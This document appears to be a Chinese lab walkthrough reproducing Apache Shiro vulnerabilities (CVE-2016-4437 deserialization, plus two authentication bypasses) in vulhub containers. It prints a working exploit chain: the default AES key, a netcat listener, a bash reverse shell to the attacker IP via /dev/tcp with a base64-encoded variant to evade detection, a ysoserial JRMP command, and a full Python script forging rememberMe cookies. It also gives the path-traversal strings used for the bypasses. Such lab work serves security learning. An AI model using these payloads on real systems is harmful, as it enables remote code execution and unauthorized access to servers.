[TOC]

介绍Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437

Apache Shiro是⼀款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、

易⽤,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的⽤户信息序列化后存储在名为remember-me的Cookie

中。攻击者可以使⽤Shiro的默认密钥伪造⽤户Cookie,触发Java反序列化漏洞,进⽽在⽬标机

器上执⾏任意命令。

漏洞成因

其漏洞的核⼼成因是cookie中的身份信息进⾏了AES加解密,⽤于加解密的密钥应该是绝对保密

的,但在shiro版本<=1.2.24的版本中使⽤了固定的密钥。因此,验证漏洞的核⼼应该还是在于我

们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥

1
kPH+bIxk5D2deZiIxcaaaA==

或者其他我们可以通过脚本⼯具爆破出来的密钥,那么shiro550漏

洞才⼀定存在。

Shiro特征

⾸先应该判断⼀个⻚⾯的登录是否使⽤了shiro框架进⾏身份验证、授权、密码和会话管理。判断

⽅法在于:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响

应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:

\1. 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有

deleteMe字段

\2. 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe

字段

\3. 不勾选RememberMe,登录成功的话,返回包set-Cookie⾥有rememberMe=deleteMe字

段。但是之后的所有请求中Cookie都不会有RememberMe字段

\4. 勾选RememberMe,登录成功的话,返回包set-Cookie⾥有rememberMe=deleteMe字段,

还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段

\5. 或者可以在cookie后⾯⾃⼰加⼀个rememberMe=1,看返回包有没有rememberMe=

deleteMe

漏洞环境及复现

CVE-2016-4437(shiro550反序列化漏洞)

靶机开启环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 下载项⽬

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub

master.zip

unzip vulhub-master.zip

cd vulhub-master

# 进⼊某⼀个漏洞/环境的⽬录

cd shiro/CVE-2016-4437

# 启动环境

docker-compose up -d

#启动容器
docker run vulhub/shiro:1.2.4

攻击机访问靶机ip:8080端口,出现如下界面就说明搭建成功

image-20250330170402576

进行漏洞复现之前,应该先验证漏洞是否存在。那么首先应该判断一个页面的登录是否使用了shiro框架进行身份验证、授权、密码和会话管理。判断方法在于:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:
image-20250330170750820

如果出现rememberMe=deleteMe字段是仅仅能说明登录页面采用了shiro进行了身份验证而已,并非直接就说明存在漏洞。其漏洞验证流程类似判断请求和响应包的字段,应该验证上述的shiro特征。

构造cookie获取反弹shell

kali靶机:192.168.192.132

kali攻击机:192.168.192.133

step1:开启端口监听

首先我们在攻击机开启一个端口,用于接收反弹shell,我这里开启6666端口:

1
nc –lvp 6666
step2:攻击机搭建VPS服务,存放反弹shell的payload1

反弹shell的命令如下(别忘了把ip改为攻击机的ip):

1
bash -i >& /dev/tcp/192.168.192.133/6666 0>&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为:Runtime.exec Payload Generater | AresX’s Blog

如下图,我们对反弹shell的命令进行base64编码:

image-20250330173541925

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

接下来我们利用序列化工具ysoserial.jar(工具下载我会在文末给出)生成payload,命令如下:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

这段命令中“”中的部分是刚才生成的反弹shell的base64编码。

由于未知原因,这一部我复现总是报错,找原因也没找到,所以未复现成功,以下是看的别人的复现过程(shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_shiro550原理-CSDN博客):

img

对这段命令做个简要的解释:这里我们相当于在攻击机上启动了一个VPS服务,监听6666端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.192.133/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。

至于为什么是CommonsCollections5 ,这是因为靶场的 shiro 存在 commons-collections 3.2.1 依赖, 是一个版本问题。

step3:生成AES加密=>Base64编码后的rememberMe字段

我们企图让存在漏洞的页面去请求我们攻击机的VPS服务,即对192.168.192.133:7777进行请求,因此,我们要用脚本对192.168.192.133:7777进行AES加密=>Base64编码。

脚本shiro.py代码如下(注意这是一段python2的代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

代码中key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(读者应当更改为攻击机ip:JRMP监听的端口号),注意shiro.py的位置应当保证和ysoserial.jar在同一目录下:

1
python2 shiro.py 192.168.192.133:7777

这样我们就生成了请求包中rememberMe的payload2:
img

step4:更改请求包中cookie的rememberMe字段

img

我们要在这个数据包的Cookie字段后添加rememberMe字段,添加后的截图如下:

img

然后点击发送go,返回如下,可以看到响应包中的rememberMe=deleteMe字段:

img

这样应该就应该漏洞利用成功了,我们看一下刚才JRMP监听的端口,可以看到这个服务与靶机(192.168.200.129)进行了连接通信:

img

再看一下攻击机监听的6666端口,成功获取了反弹shell。

img

这样就成功了,此时已经可以执行任意命令了。

img

攻击过程复盘

对于攻击者而言,核心就是干了两件事:

1.搭建VPS进行JRMPListener,存放反弹shell的payload1

2.将上述VPS进行JRMPListener的地址进行了AES加密和base64编码,构造请求包cookie中的rememberMe字段,向存在漏洞的服务器发送加密编码后的结果payload2。

那么对于靶机服务器,他是怎么沦陷的呢?

1.接收到请求包payload2,对他进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。

2.向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。

3.对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。

使用工具复现

使用win10的工具pyke-shiro

image-20250330181125476

看到存在Shiro框架且爆破出来了key值,然后我们检测利用链然后爆破一下

image-20250330181444484

然后就可以命令执行或者打内存马了。

image-20250330181608319

Apache Shiro认证绕过漏洞(CVE-2020-1957)

漏洞详情

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造…;这样的跳转,可以绕过Shiro中对目录的权限限制

复现

靶机开启环境后,攻击机直接访问ip:8080端口

image-20250330182715628

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面,构造恶意请求/xxx/…;/admin/,即可绕过权限校验,访问到管理页面:

在这里插入图片描述

Apache Shiro 认证绕过漏洞(CVE-2010-3863)

漏洞详情

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造/、//、/./、/…/ 等绕过权限验证

复现

直接请求管理页面/admin,无法访问,将会被重定向到登录页面

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面

image-20250330184715714

image-20250330184851335